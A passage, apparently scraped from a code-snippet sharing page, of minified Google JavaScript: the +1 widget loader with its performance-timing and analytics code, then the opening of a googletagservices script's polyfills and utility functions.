p=l.indexOf("g:");0==p?n=l.substr(2):(p=(p=String(k.className||k.getAttribute("class")))&&$p.exec(p))&&(n=p[1]);h=!n||!(Wp[n]||Xp[n]||Yp[n])||h&&n!==h?null:n}h&&(aq[h]||0==f.nodeName.toLowerCase().indexOf("g:")||0!=qp(Np(f)).length)&&(f.setAttribute("data-gapiscan",!0),_.Td(a,h,[]).push(f))}for(q in a)Zp.push(q);bq.ps1=(new Date).getTime();cq("ps1");if(b=Zp.join(":"))try{_.Wd.load(b,void 0)}catch(t){_.ue(t);return}e=[];for(c in a){d=a[c];var q=0;for(b=d.length;q<b;q++)f=d[q],dq(c,f,Np(f), e,b)}}; var fq=function(a,b){var c=up(a);b&&c?(c(b),(c=b.iframeNode)&&c.setAttribute("data-gapiattached",!0)):_.Wd.load(a,function(){var c=up(a),e=b&&b.iframeNode,f=b&&b.userParams;e&&c?(c(b),e.setAttribute("data-gapiattached",!0)):(c=_.Wd[a].go,"signin2"==a?c(e,f):c(e&&e.parentNode,f))})},dq=function(a,b,c,d,e,f,h){switch(gq(b,a,f)){case 0:a=Yp[a]?a+"_annotation":a;d={};d.iframeNode=b;d.userParams=c;fq(a,d);break;case 1:if(b.parentNode){for(var k in c){if(f=_.Ud(c,k))f=c[k],f=!!f&&"object"===typeof f&&(!f.toString|| f.toString===Object.prototype.toString||f.toString===Array.prototype.toString);if(f)try{c[k]=_.df(c[k])}catch(F){delete c[k]}}k=!0;c.dontclear&&(k=!1);delete c.dontclear;var l;f={};var n=l=a;"plus"==a&&c.action&&(l=a+"_"+c.action,n=a+"/"+c.action);(l=_.H("iframes/"+l+"/url"))||(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+n+"?usegapi=1");for(p in Gp)f[p]=p+"/"+(c[p]||Gp[p])+"/";var p=_.mn(_.Qd,l.replace(_.Fn,vp(f)));n="iframes/"+a+"/params/";f={};_.Vd(c,f);(l=_.H("lang")||_.H("gwidget/lang"))&& (f.hl=l);Hp[a]||(f.origin=_.Bp());f.exp=_.H(n+"exp");if(n=_.H(n+"location"))for(l=0;l<n.length;l++){var q=n[l];f[q]=_.Nd.location[q]}switch(a){case "plus":case "follow":f.url=_.Fp(f.href,c,null);delete f.href;break;case "plusone":n=(n=c.href)?zp(n):Ap();f.url=n;f.db=_.Dp(c.db,void 0,_.H());f.ecp=_.Ep(c.ecp,void 0,_.H());delete f.href;break;case "signin":f.url=Ap()}_.ce.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;for(var t in Gp)f[t]&&delete f[t];f.gsrc=_.H("iframes/:source:");t=_.H("inline/css"); "undefined"!==typeof t&&0<e&&t>=e&&(f.ic="1");t=/^#|^fr-/;e={};for(var x in f)_.Ud(f,x)&&t.test(x)&&(e[x.replace(t,"")]=f[x],delete f[x]);x="q"==_.H("iframes/"+a+"/params/si")?f:e;t=_.yp();for(var v in t)!_.Ud(t,v)||_.Ud(f,v)||_.Ud(e,v)||(x[v]=t[v]);v=[].concat(Jp);x=_.H("iframes/"+a+"/methods");_.Wm(x)&&(v=v.concat(x));for(y in c)_.Ud(c,y)&&/^on/.test(y)&&("plus"!=a||"onconnect"!=y)&&(v.push(y),delete f[y]);delete f.callback;e._methods=v.join(",");var y=_.ln(p,f,e);v=h||{};v.allowPost=1;v.attributes= Ip;v.dontclear=!k;h={};h.userParams=c;h.url=y;h.type=a;_.Pp(a,b,c,y,v,h);b=h.id;c=_.D();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.fp[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),fq(a,b))}},gq=function(a,b,c){if(a&&1===a.nodeType&&b){if(c)return 1;if(Yp[b]){if(sp[a.nodeName.toLowerCase()])return(a=a.innerHTML)&&a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}else{if(Xp[b])return 0;if(Wp[b])return 1}}return null}; _.Td(_.Wd,"platform",{}).go=function(a,b){eq(a,b)};var hq=_.Td(_.ce,"perf",_.D()),bq=_.Td(hq,"g",_.D()),iq=_.Td(hq,"i",_.D()),jq,kq,lq,cq,nq,oq,pq;_.Td(hq,"r",[]);jq=_.D();kq=_.D();lq=function(a,b,c,d){jq[c]=jq[c]||!!d;_.Td(kq,c,[]);kq[c].push([a,b])};cq=function(a,b,c){var d=hq.r;"function"===typeof d?d(a,b,c):d.push([a,b,c])};nq=function(a,b,c,d){if("_p"==b)throw Error("S");_.mq(a,b,c,d)};_.mq=function(a,b,c,d){oq(b,c)[a]=d||(new Date).getTime();cq(a,b,c)};oq=function(a,b){a=_.Td(iq,a,_.D());return _.Td(a,b,_.D())}; pq=function(a,b,c){var d=null;b&&c&&(d=oq(b,c)[a]);return d||bq[a]}; (function(){function a(a){this.t={};this.tick=function(a,b,c){this.t[a]=[void 0!=c?c:(new Date).getTime(),b];if(void 0==c)try{window.console.timeStamp("CSI/"+a)}catch(p){}};this.tick("start",null,a)}var b;if(window.performance)var c=(b=window.performance.timing)&&b.responseStart;var d=0<c?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;0<e&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;0<e&&c>=e&&(f.tick("_wtsrt",void 0,e), f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(window.chrome.csi().pageT),f&&0<e&&(f.tick("_tbnd",void 0,window.chrome.csi().startE),f.tick("tbnd_","_tbnd",e))),null==b&&window.gtbExternal&&(b=window.gtbExternal.pageT()),null==b&&window.external&&(b=window.external.pageT,f&&0<e&&(f.tick("_tbnd",void 0,window.external.startE),f.tick("tbnd_","_tbnd",e))),b&&(window.__gapi_jstiming__.pt=b)}catch(h){}})(); if(window.__gapi_jstiming__){window.__gapi_jstiming__.AF={};window.__gapi_jstiming__.eY=1;var sq=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return d=a.t[b][0],e=void 0!=c?c:e[0],Math.round(d-e)};window.__gapi_jstiming__.getTick=sq;window.__gapi_jstiming__.getLabels=function(a){var b=[],c;for(c in a.t)b.push(c);return b};var tq=function(a,b,c){var d="";window.__gapi_jstiming__.srt&&(d+="&srt="+window.__gapi_jstiming__.srt);window.__gapi_jstiming__.pt&&(d+="&tbsrt="+window.__gapi_jstiming__.pt); try{window.external&&window.external.tran?d+="&tran="+window.external.tran:window.gtbExternal&&window.gtbExternal.tran?d+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(d+="&tran="+window.chrome.csi().tran)}catch(q){}var e=window.chrome;if(e&&(e=e.loadTimes)){e().wasFetchedViaSpdy&&(d+="&p=s");if(e().wasNpnNegotiated){d+="&npn=1";var f=e().npnNegotiatedProtocol;f&&(d+="&npnv="+(window.encodeURIComponent||window.escape)(f))}e().wasAlternateProtocolAvailable&&(d+="&apa=1")}var h= a.t,k=h.start;e=[];f=[];for(var l in h)if("start"!=l&&0!=l.indexOf("_")){var n=h[l][1];n?h[n]&&f.push(l+"."+sq(a,l,h[n][0])):k&&e.push(l+"."+sq(a,l))}if(b)for(var p in b)d+="&"+p+"="+b[p];(b=c)||(b="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");return[b,"?v=3","&s="+(window.__gapi_jstiming__.sn||"")+"&action=",a.name,f.length?"&it="+f.join(","):"",d,"&rt=",e.join(",")].join("")},uq=function(a,b,c){a=tq(a,b,c);if(!a)return"";b=new window.Image; var d=window.__gapi_jstiming__.eY++;window.__gapi_jstiming__.AF[d]=b;b.onload=b.onerror=function(){window.__gapi_jstiming__&&delete window.__gapi_jstiming__.AF[d]};b.src=a;b=null;return a};window.__gapi_jstiming__.report=function(a,b,c){var d=window.document.visibilityState,e="visibilitychange";d||(d=window.document.webkitVisibilityState,e="webkitvisibilitychange");if("prerender"==d){var f=!1,h=function(){if(!f){b?b.prerender="1":b={prerender:"1"};if("prerender"==(window.document.visibilityState|| window.document.webkitVisibilityState))var d=!1;else uq(a,b,c),d=!0;d&&(f=!0,window.document.removeEventListener(e,h,!1))}};window.document.addEventListener(e,h,!1);return""}return uq(a,b,c)}}; var vq={g:"gapi_global",m:"gapi_module",w:"gwidget"},wq=function(a,b){this.type=a?"_p"==a?"m":"w":"g";this.name=a;this.wo=b};wq.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.wo;case "w":return this.type+"."+this.name+this.wo}}; var xq=new wq,yq=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/),zq=_.Td(hq,"_c",_.D()),Aq=Math.random()<(_.H("csi/rate")||0),Cq=function(a,b,c){for(var d=new wq(b,c),e=_.Td(zq,d.key(),_.D()),f=kq[a]||[],h=0;h<f.length;++h){var k=f[h],l=k[0],n=a,p=b,q=c;k=pq(k[1],p,q);n=pq(n,p,q);e[l]=k&&n?n-k:null}jq[a]&&Aq&&(Bq(xq),Bq(d))},Dq=function(a,b){b=b||[];for(var c=[],d=0;d<b.length;d++)c.push(a+b[d]);return c},Bq=function(a){var b=_.Nd.__gapi_jstiming__;b.sn=vq[a.type];var c= new b.Timer(0);a:{switch(a.type){case "g":var d="global";break a;case "m":d=a.wo;break a;case "w":d=a.name;break a}d=void 0}c.name=d;d=!1;var e=a.key(),f=zq[e];c.tick("_start",null,0);for(var h in f)c.tick(h,"_start",f[h]),d=!0;zq[e]=_.D();d&&(h=[],h.push("l"+(_.H("isPlusUser")?"1":"0")),d="m"+(yq?"1":"0"),h.push(d),"m"==a.type?h.push("p"+a.wo):"w"==a.type&&(e="n"+a.wo,h.push(e),"0"==a.wo&&h.push(d+e)),h.push("u"+(_.H("isLoggedIn")?"1":"0")),a=Dq("",h),a=Dq("abc_",a).join(","),b.report(c,{e:a}))}; lq("blt","bs0","bs1");lq("psi","ps0","ps1");lq("rpcqi","rqe","rqd");lq("bsprt","bsrt0","bsrt1");lq("bsrqt","bsrt1","bsrt2");lq("bsrst","bsrt2","bsrt3");lq("mli","ml0","ml1");lq("mei","me0","me1",!0);lq("wcdi","wrs","wcdi");lq("wci","wrs","wdc");lq("wdi","wrs","wrdi");lq("wdt","bs0","wrdt");lq("wri","wrs","wrri",!0);lq("wrt","bs0","wrrt");lq("wji","wje0","wje1",!0);lq("wjli","wjl0","wjl1");lq("whi","wh0","wh1",!0);lq("wai","waaf0","waaf1",!0);lq("wadi","wrs","waaf1",!0);lq("wadt","bs0","waaf1",!0); lq("wprt","wrt0","wrt1");lq("wrqt","wrt1","wrt2");lq("wrst","wrt2","wrt3",!0);lq("fbprt","fsrt0","fsrt1");lq("fbrqt","fsrt1","fsrt2");lq("fbrst","fsrt2","fsrt3",!0);lq("fdns","fdns0","fdns1");lq("fcon","fcon0","fcon1");lq("freq","freq0","freq1");lq("frsp","frsp0","frsp1");lq("fttfb","fttfb0","fttfb1");lq("ftot","ftot0","ftot1",!0);var Eq=hq.r;if("function"!==typeof Eq){for(var Fq;Fq=Eq.shift();)Cq.apply(null,Fq);hq.r=Cq}; var Gq=["div"],Hq="onload",Iq=!0,Jq=!0,Kq=function(a){return a},Lq=null,Mq=function(a){var b=_.H(a);return"undefined"!==typeof b?b:_.H("gwidget/"+a)},hr,ir,jr,kr,ar,cr,lr,br,mr,nr,or,pr;Lq=_.H();_.H("gwidget");var Nq=Mq("parsetags");Hq="explicit"===Nq||"onload"===Nq?Nq:Hq;var Oq=Mq("google_analytics");"undefined"!==typeof Oq&&(Iq=!!Oq);var Pq=Mq("data_layer");"undefined"!==typeof Pq&&(Jq=!!Pq); var Qq=function(){var a=this&&this.ka();a&&(_.ce.drw=a)},Rq=function(){_.ce.drw=null},Sq=function(a){return function(b){var c=a;"number"===typeof b?c=b:"string"===typeof b&&(c=b.indexOf("px"),-1!=c&&(b=b.substring(0,c)),c=(0,window.parseInt)(b,10));return c}},Tq=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:null},Uq=function(){return Mq("lang")||"en-US"},Vq=function(a){if(!_.O.Bb("attach")){var b={},c=_.O.Bb("inline"),d;for(d in c)c.hasOwnProperty(d)&&(b[d]=c[d]);b.open= function(a){var b=a.Ob().renderData.id;b=window.document.getElementById(b);if(!b)throw Error("T");return c.attach(a,b)};_.O.Xb("attach",b)}a.style="attach"},Wq=function(){var a={};a.width=[Sq(450)];a.height=[Sq(24)];a.onready=[Tq];a.lang=[Uq,"hl"];a.iloader=[function(){return _.ce.ILI},"iloader"];return a}(),Zq=function(a){var b={};b.De=a[0];b.Bo=-1;b.D$="___"+b.De+"_";b.W_="g:"+b.De;b.o9="g-"+b.De;b.wK=[];b.config={};b.Vs=[];b.uM={};b.Ew={};var c=function(a){for(var c in a)if(_.Ud(a,c)){b.config[c]= [Tq];b.Vs.push(c);var d=a[c],e=null,l=null,n=null;"function"===typeof d?e=d:d&&"object"===typeof d&&(e=d.Y8,l=d.Xr,n=d.Mw);n&&(b.Vs.push(n),b.config[n]=[Tq],b.uM[c]=n);e&&(b.config[c]=[e]);l&&(b.Ew[c]=l)}},d=function(a){for(var c={},d=0;d<a.length;++d)c[a[d].toLowerCase()]=1;c[b.W_]=1;b.lW=c};a[1]&&(b.parameters=a[1]);(function(a){b.config=a;for(var c in Wq)Wq.hasOwnProperty(c)&&!b.config.hasOwnProperty(c)&&(b.config[c]=Wq[c])})(a[2]||{});a[3]&&c(a[3]);a[4]&&d(a[4]);a[5]&&(b.jk=a[5]);b.u$=!0===a[6]; b.EX=a[7];b.H_=a[8];b.lW||d(Gq);b.CB=function(a){b.Bo++;nq("wrs",b.De,String(b.Bo));var c=[],d=a.element,e=a.config,l=":"+b.De;":plus"==l&&a.hk&&a.hk.action&&(l+="_"+a.hk.action);var n=Xq(b,e),p={};_.Vd(_.yp(),p);for(var q in a.hk)null!=a.hk[q]&&(p[q]=a.hk[q]);q={container:d.id,renderData:a.$X,style:"inline",height:e.height,width:e.width};Vq(q);b.jk&&(c[2]=q,c[3]=p,c[4]=n,b.jk("i",c));l=_.O.open(l,q,p,n);Yq(b,l,e,d,a.GQ);c[5]=l;b.jk&&b.jk("e",c)};return b},Xq=function(a,b){for(var c={},d=a.Vs.length- 1;0<=d;--d){var e=a.Vs[d],f=b[a.uM[e]||e]||b[e],h=b[e];h&&f!==h&&(f=function(a,b){return function(c){b.apply(this,arguments);a.apply(this,arguments)}}(f,h));f&&(c[e]=f)}for(var k in a.Ew)a.Ew.hasOwnProperty(k)&&(c[k]=$q(c[k]||function(){},a.Ew[k]));c.drefresh=Qq;c.erefresh=Rq;return c},$q=function(a,b){return function(c){var d=b(c);if(d){var e=c.href||null;if(Iq){if(window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",d,e):window._gaq&& window._gaq.push(["_trackSocial","Google",d,e])}catch(k){}if(window.ga&&window.ga.getAll)try{var h=window.ga.getAll();for(f=0;f<h.length;f++)h[f].send("social","Google",d,e)}catch(k){}}if(Jq&&window.dataLayer)try{window.dataLayer.push({event:"social",socialNetwork:"Google",socialAction:d,socialTarget:e})}catch(k){}}a.call(this,c)}},Yq=function(a,b,c,d,e){ar(b,c);br(b,d);cr(a,b,e);dr(a.De,a.Bo.toString(),b);(new er).Ya.Jk(a,b,c,d,e)},er=function(){if(!this.Ya){for(var a=this.constructor;a&&!a.Wm;)a= a.H&&a.H.constructor;a.Wm.lG||(a.Wm.lG=Tp(a));this.Ya=new a.Wm.lG(this);this.jz||(this.jz=Vp)}},fr=function(){},gr=er;fr.H||_.z(fr,Qp);gr.Wm=fr;fr.prototype.Jk=function(a){a=a?a:function(){};a.AJ=!0;return a}();hr=function(a){return _.zo&&"undefined"!=typeof _.zo&&a instanceof _.zo};ir=function(a){return hr(a)?"_renderstart":"renderstart"};jr=function(a){return hr(a)?"_ready":"ready"};kr=function(){return!0}; ar=function(a,b){if(b.onready){var c=!1,d=function(){c||(c=!0,b.onready.call(null))};a.register(jr(a),d,kr);a.register(ir(a),d,kr)}}; cr=function(a,b,c){var d=a.De,e=String(a.Bo),f=!1,h=function(){f||(f=!0,c&&nq("wrdt",d,e),nq("wrdi",d,e))};b.register(ir(b),h,kr);var k=!1;a=function(){k||(k=!0,h(),c&&nq("wrrt",d,e),nq("wrri",d,e))};b.register(jr(b),a,kr);hr(b)?b.register("widget-interactive-"+b.id,a,kr):_.K.register("widget-interactive-"+b.id,a);_.K.register("widget-csi-tick-"+b.id,function(a,b,c){"wdc"===a?nq("wdc",d,e,c):"wje0"===a?nq("wje0",d,e,c):"wje1"===a?nq("wje1",d,e,c):"wh0"==a?_.mq("wh0",d,e,c):"wh1"==a?_.mq("wh1",d,e, c):"wcdi"==a&&_.mq("wcdi",d,e,c)})};lr=function(a){return"number"==typeof a?a+"px":"100%"==a?a:null};br=function(a,b){var c=function(c){c=c||a;var d=lr(c.width);d&&b.style.width!=d&&(b.style.width=d);(c=lr(c.height))&&b.style.height!=c&&(b.style.height=c)};hr(a)?a.pL("onRestyle",c):(a.register("ready",c,kr),a.register("renderstart",c,kr),a.register("resize",c,kr))};mr=function(a,b){for(var c in Wq)if(Wq.hasOwnProperty(c)){var d=Wq[c][1];d&&!b.hasOwnProperty(d)&&(b[d]=a[d])}return b}; nr=function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&(c[a[d][1]||d]=(a[d]&&a[d][0]||Kq)(b[d.toLowerCase()],b,Lq));return c};or=function(a){if(a=a.EX)for(var b=0;b<a.length;b++)(new window.Image).src=a[b]};pr=function(a,b){var c=b.userParams,d=b.siteElement;d||(d=(d=b.iframeNode)&&d.parentNode);if(d&&1===d.nodeType){var e=nr(a.config,c);a.wK.push({element:d,config:e,hk:mr(e,nr(a.parameters,c)),X9:3,GQ:!!c["data-onload"],$X:b})}b=a.wK;for(a=a.CB;0<b.length;)a(b.shift())}; _.qr=function(a){var b=Zq(a);or(b);_.pn(b.De,function(a){pr(b,a)});Wp[b.De]=!0;var c={va:function(a,c,f){var d=c||{};d.type=b.De;c=d.type;delete d.type;var e=("string"===typeof a?window.document.getElementById(a):a)||void 0;if(e){a={};for(var l in d)_.Ud(d,l)&&(a[l.toLowerCase()]=d[l]);a.rd=1;(l=!!a.ri)&&delete a.ri;dq(c,e,a,[],0,l,f)}else _.ue("string"==="gapi."+c+".render: missing element "+typeof a?a:"")},go:function(a){eq(a,b.De)},Y9:function(){var a=_.Td(_.ce,"WI",_.D()),b;for(b in a)delete a[b]}}; a=function(){"onload"===Hq&&c.go()};tp(b.De)||rp(a,a);_.w("gapi."+b.De+".go",c.go);_.w("gapi."+b.De+".render",c.va);return c}; var rr=pr,sr=function(a,b){a.Bo++;nq("wrs",a.De,String(a.Bo));var c=b.userParams,d=nr(a.config,c),e=[],f=b.iframeNode,h=b.siteElement,k=Xq(a,d),l=nr(a.parameters,c);_.Vd(_.yp(),l);l=mr(d,l);c=!!c["data-onload"];var n=_.ao,p=_.D();p.renderData=b;p.height=d.height;p.width=d.width;p.id=b.id;p.url=b.url;p.iframeEl=f;p.where=p.container=h;p.apis=["_open"];p.messageHandlers=k;p.messageHandlersFilter=_.M;_.mp(p);f=l;a.jk&&(e[2]=p,e[3]=f,e[4]=k,a.jk("i",e));k=n.uj(p);k.id=b.id;k.aD(k,p);Yq(a,k,d,h,c);e[5]= k;a.jk&&a.jk("e",e)};pr=function(a,b){var c=b.url;a.H_||_.pp(c)?_.wo?sr(a,b):(0,_.Wj)("gapi.iframes.impl",function(){sr(a,b)}):_.O.open?rr(a,b):(0,_.Wj)("iframes",function(){rr(a,b)})}; var tr=function(){var a=window;return!!a.performance&&!!a.performance.getEntries},dr=function(a,b,c){if(tr()){var d=function(){var a=!1;return function(){if(a)return!0;a=!0;return!1}}(),e=function(){d()||window.setTimeout(function(){var d=c.Ha().src;var e=d.indexOf("#");-1!=e&&(d=d.substring(0,e));d=window.performance.getEntriesByName(d);1>d.length?d=null:(d=d[0],d=0==d.responseStart?null:d);if(d){e=Math.round(d.requestStart);var k=Math.round(d.responseStart),l=Math.round(d.responseEnd);nq("wrt0", a,b,Math.round(d.startTime));nq("wrt1",a,b,e);nq("wrt2",a,b,k);nq("wrt3",a,b,l)}},1E3)};c.register(ir(c),e,kr);c.register(jr(c),e,kr)}}; _.w("gapi.widget.make",_.qr); var ur,vr,wr,yr;ur=["left","right"];vr="inline bubble none only pp vertical-bubble".split(" ");wr=function(a,b){if("string"==typeof a){a=a.toLowerCase();var c;for(c=0;c<b.length;c++)if(b[c]==a)return a}};_.xr=function(a){return wr(a,vr)};yr=function(a){return wr(a,ur)};_.zr=function(a){a.source=[null,"source"];a.expandTo=[null,"expandTo"];a.align=[yr];a.annotation=[_.xr];a.origin=[_.Bp]}; _.O.NC("bubble",function(a){(0,_.Wj)("iframes-styles-bubble",a)}); _.O.NC("slide-menu",function(a){(0,_.Wj)("iframes-styles-slide-menu",a)}); _.w("gapi.plusone.render",_.TV);_.w("gapi.plusone.go",_.UV); var VV={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}},WV={width:180,height:35},XV=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a},YV=function(a){var b=(0,window.parseInt)(a,10);if(b==a)return String(b)},ZV=function(a){if(XV(a))return"true"},$V=function(a){return"string"== typeof a&&VV[a.toLowerCase()]?a.toLowerCase():"standard"},aW=function(a,b){return"tall"==$V(b)?"true":null==a||XV(a)?"true":"false"},bW=function(a,b){return VV[$V(a)][aW(b,a)]},cW=function(a,b,c){a=_.xr(a);b=$V(b);if(""!=a){if("inline"==a||"only"==a)return a=450,c.width&&(a=120<c.width?c.width:120),{width:a,height:VV[b]["false"].height};if("bubble"!=a){if("none"==a)return VV[b]["false"];if("pp"==a)return WV}}return VV[b]["true"]},dW={href:[_.Cp,"url"],width:[YV],size:[$V],resize:[ZV],autosize:[ZV], count:[function(a,b){return aW(b.count,b.size)}],db:[_.Dp],ecp:[_.Ep],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[ZV],recommendations:[],fu:[],ad:[ZV],cr:[YV],ag:[YV],"fr-ai":[],"fr-sigh":[]}; (function(){var a={0:"plusone"},b=_.H("iframes/plusone/preloadUrl");b&&(a[7]=b);_.zr(dW);a[1]=dW;a[2]={width:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).width:bW(b.size,b.count).width}],height:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).height:bW(b.size,b.count).height}]};a[3]={onPlusOne:{Xr:function(a){return"on"==a.state?"+1":null},Mw:"callback"},onstartinteraction:!0,onendinteraction:!0,onpopup:!0};a[4]=["div","button"];a=_.qr(a);_.UV=a.go;_.TV=a.va})(); }); // Google Inc.

    From user dh-orko

  • drissi1990 / googletagservices

    unknown-21-m, (function(){var l;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function ba(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:aa(a)}}function ca(a){if(!(a instanceof Array)){a=ba(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}var da="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},ea;if("function"==typeof Object.setPrototypeOf)ea=Object.setPrototypeOf;else{var fa;a:{var ha={Ea:!0},ia={};try{ia.__proto__=ha;fa=ia.Ea;break a}catch(a){}fa=!1}ea=fa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var ja=ea;function ka(a,b){a.prototype=da(b.prototype);a.prototype.constructor=a;if(ja)ja(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c]}var la="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)},ma="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this;function na(a,b){if(b){var c=ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&la(c,a,{configurable:!0,writable:!0,value:b})}}na("String.prototype.endsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.endsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.endsWith must not be a regular expression");void 0===c&&(c=this.length);c=Math.max(0,Math.min(c|0,this.length));for(var d=b.length;0<d&&0<c;)if(this[--c]!=b[--d])return!1;return 0>=d}});na("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}});var oa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};na("Object.assign",function(a){return a||oa});var p=this||self;function q(a){return"string"==typeof a}function pa(a){return"number"==typeof a}function qa(){if(null===ra)a:{var a=p.document;if((a=a.querySelector&&a.querySelector("script[nonce]"))&&(a=a.nonce||a.getAttribute("nonce"))&&sa.test(a)){ra=a;break a}ra=""}return ra}var sa=/^[\w+/_-]+[=]{0,2}$/,ra=null;function ta(a){a=a.split(".");for(var b=p,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function ua(){}function va(a){a.ga=void 0;a.j=function(){return a.ga?a.ga:a.ga=new a}}function wa(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b}function xa(a){return null===a}function ya(a){return"array"==wa(a)}function za(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function Aa(a){return a[Ba]||(a[Ba]=++Ca)}var Ba="closure_uid_"+(1E9*Math.random()>>>0),Ca=0;function Da(a,b,c){return a.call.apply(a.bind,arguments)}function Ea(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Fa(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Fa=Da:Fa=Ea;return Fa.apply(null,arguments)}function Ga(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function r(a,b){function c(){}c.prototype=b.prototype;a.prototype=new c;a.prototype.constructor=a};var Ha=(new Date).getTime();function Ia(a,b){for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Ja(a,b){for(var c=a.length,d=[],e=0,f=q(a)?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ka(a,b){for(var c=a.length,d=Array(c),e=q(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d}function La(a,b){for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Ma(a,b){a:{for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:q(a)?a.charAt(b):a[b]}function Na(a,b){a:{for(var c=q(a)?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:q(a)?a.charAt(b):a[b]}function Oa(a,b){a:if(q(a))a=q(b)&&1==b.length?a.indexOf(b,0):-1;else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a};function Pa(){return function(){return!xa.apply(this,arguments)}}function Qa(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function Ra(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function Sa(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Ta(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function Ua(a,b){return null!==a&&b in a};function Va(){this.a="";this.h=Wa}Va.prototype.f=!0;Va.prototype.b=function(){return this.a.toString()};function Xa(a){if(a instanceof Va&&a.constructor===Va&&a.h===Wa)return a.a;wa(a);return"type_error:TrustedResourceUrl"}var Wa={};function Ya(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]}var Za=/&/g,$a=/</g,ab=/>/g,bb=/"/g,cb=/'/g,db=/\x00/g;function eb(a,b){return-1!=a.indexOf(b)}function fb(a,b){var c=0;a=Ya(String(a)).split(".");b=Ya(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var 